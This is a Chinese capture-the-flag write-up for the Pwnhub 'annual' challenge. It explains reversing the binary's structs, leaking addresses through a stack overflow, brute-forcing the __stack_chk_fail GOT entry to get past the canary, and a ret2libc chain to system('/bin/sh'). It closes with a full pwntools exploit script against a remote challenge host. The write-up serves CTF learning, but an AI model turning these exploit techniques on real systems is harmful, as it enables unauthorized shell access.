Pwnhub血月归来annual Writeup

思路概要

我解本题的思路大致如下:

  1. 用栈溢出leak全局变量地址,绕过PIE
  2. leak libc中函数的地址,根据低字节找到对应的libc版本,同时得到libc地址
  3. 修改got表中__stack_chk_fail的地址使其指向一个ret指令。此处需要爆破
  4. 用栈溢出ret2libc

逆向

main函数

main函数调用了两个函数。initialize里调用了srand(time(0)),将函数指针赋值给全局变量。接下来看main_0函数:


main_0栈帧
main_0主要流程

通过菜单选项执行函数。分别有:

  • B)ye. 返回
  • G)et more packet. person结构体中的money指针指向的值加上一个模100的随机数
  • P)rint packet. 打印person->name和person->packets中所有指针所指的Packets信息
  • R)ename. 重命名,此处存在栈溢出
  • S)how. 打印person->name和*person->money

Person和Packet结构体是通过逆向分析得到的,如下:


结构体

翻译成C语言就是

struct Packet
{
    char message[0x100];
    unsigned int sig;
    unsigned int Money;
};
struct Person
{
    char name[32];
    unsigned int * pMoney;
    struct Packet * packets[10];
};

Tips : IDA改名,定义结构体十分有助于逆向分析,弄清程序流程

Pwn

checksec。没什么好说的,是个64位程序


checksec

绕过PIE

main_0函数中的pMoney指针(off=0x20)指向的是一个全局变量,可以通过写入0x20个字符后打印名字来得到money全局变量的地址,以算出bss段地址和got.plt表地址


person.pMoney

leak libc

可以利用show函数打印*person.pMoney,通过栈溢出覆盖该指针可以实现任意地址读。将其覆盖为got表地址可以泄露函数libc地址(由于show函数只会打印4字节的数据,因此每个地址要leak两次),泄露两个libc地址后就可以使用工具获得相应的libc。之后计算出system函数和"/bin/sh"字符串的实际加载地址。
这里我使用了工具https://github.com/niklasb/libc-database,也可以使用pwntools的dynELF来实现。

覆盖__stack_chk_fail的got表地址

这是本题中比较关键的一步。因为在程序中能写任意地址的函数只有GetPacket,而修改 的值是一个随机数,所以需要通过爆破找到值为0xc3(ret)的地址。
我们首先获取__stack_chk_fail中存放的地址值scf_addr。此时__stack_chk_fail未绑定,因此该地址在用户的地址空间中。将person.pMoney覆盖为__stack_chk_fail的got表地址。
调用GetPacket,每次GetPacket后用rename将pMoney指针修改为scf_addr+money(当前总金钱数) ,顺便覆盖person的packets数组首个元素为0(这样才可以爆破多于10次)。然后使用show可以读取got['__stack_chk_fail']中存放地址中的值,不为0xc3就重新执行GetPacket。
money过大会使got['__stack_chk_fail']超出可执行代码范围,一般2000以内不行就可以重新爆破。最终可以使got['__stack_chk_fail']指向一条ret指令,绕过cannary

ret2libc

使用ropper工具在libc中找到一个跳板pop rdi; ret;(原程序中虽然也有这个跳板,但是不可执行) 计算该指令地址。构造栈帧如下:

写入(buf)
'a'*0xa8
gaget -> pop rdi; ret;
binsh_addr -> "/bin/sh"
system_addr

成功返回后难道shell。

攻击代码

from pwn import *
#pwnhub{flag:H4ppy_N3w_year%^&*}
#io = process('./annual')
elf = ELF('./annual')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.26.so')
libc = ELF('./libc-2.23.so')
io = remote("52.80.154.150", 9999)
money = 0

def welcome(s):
    io.sendafter('name!', s, timeout=5)

def getPacket(s):
    global money
    io.sendafter("B)ye\n", 'G')
    io.recvuntil("$")
    inc = int(io.recvuntil("\n")[:-1], 10)
    io.sendafter("message!\n", s)
    money += inc
    return inc

def printPacket():
    io.sendafter("B)ye\n", 'P')
    return io.recvuntil("R)ename")[:-len("R)ename")]

def show():
    io.sendafter("B)ye\n", 'S')
    return io.recvuntil("R)ename")[:-len("R)ename")].split(' have $')

def rename(s):
    io.sendafter("B)ye\n", 'R')
    io.sendafter("name!", s)

def got(sym, bss_addr):
    return elf.got[sym] + bss_addr - elf.bss()

def leakGot(sym, bss_addr):
    item_got = got(sym, bss_addr)
    payload = 'a' * 0x40 + p64(item_got)
    rename(payload)
    #payload = 'a' * 0x40 + p64(heap_addr)
    #rename(payload)
    low = int(show()[1], 10) & 0xffffffff
    payload = 'a' * 0x40 + p64(item_got+4)
    rename(payload)
    high = int(show()[1], 10) & 0xffffffff
    return low | (high << 32)

def main():
    global money
    welcome('L1nk')
    # leak bss
    payload1 = "a" * 0x20
    rename(payload1)
    money_addr = u64(show()[0][0x20:0x20+6].ljust(8, '\x00'))
    bss_addr = money_addr - 0x4238 + 0x40e0

    print "[+] Money addr:" + hex(money_addr)
    # leak libc
    srand_addr = leakGot("srand", bss_addr)
    print "[+] srand addr:" + hex(srand_addr)
    setbuf_addr = leakGot("setbuf", bss_addr)
    print "[+] setbuf addr:" + hex(setbuf_addr)
    #if True:
    #    offset_system = 0x0000000000045390
    #    offset_setbuf = 0x00000000000766b0
    #    offset_binsh  = 0x00000000001190f0 
    #    offset_scf    = 0x00000000001190f0
    #else:
    offset_system = libc.symbols['system']
    offset_setbuf = libc.symbols['setbuf']
    offset_scf    = libc.symbols['__stack_chk_fail']
    offset_binsh  = 0x18CD57

    libc_addr = setbuf_addr - offset_setbuf
    system_addr = libc_addr + offset_system
    binsh_addr = offset_binsh + libc_addr
    rename('\x00' * 0x40 + p64(got('__stack_chk_fail', bss_addr)))
    low = int(show()[1], 10) & 0xffffffff
    rename('\x00' * 0x40 + p64(got('__stack_chk_fail', bss_addr) + 4))
    high = int(show()[1], 10) & 0xffffffff
    scf_addr = low | high << 32
    print "[+] __stack_chk_fail plt:" + hex(scf_addr)
    print "[+] __stack_chk_fail plt:" + hex(elf.plt["__stack_chk_fail"] + bss_addr - elf.bss() + 60)
    while True:
        print money
        rename('\x00'*0x40 + p64(got('__stack_chk_fail', bss_addr)) + '\x00' * 0x10)
        getPacket('\x00')
        rename('\x00'*0x40 + p64(scf_addr+money) + '\x00' * 0x10)
        if int(show()[1]) & 0xff == 0xc3:
            break
    gadget = libc_addr + 0x21102
    payload = 0xa8 * 'a' + p64(gadget) + p64(binsh_addr) + p64(system_addr)
    rename(payload)
    io.sendafter("B)ye\n", "B")
    io.interactive()

if __name__ == "__main__":
    main()

感谢zblee的邀请码~

你可能感兴趣的:(Pwnhub血月归来annual Writeup)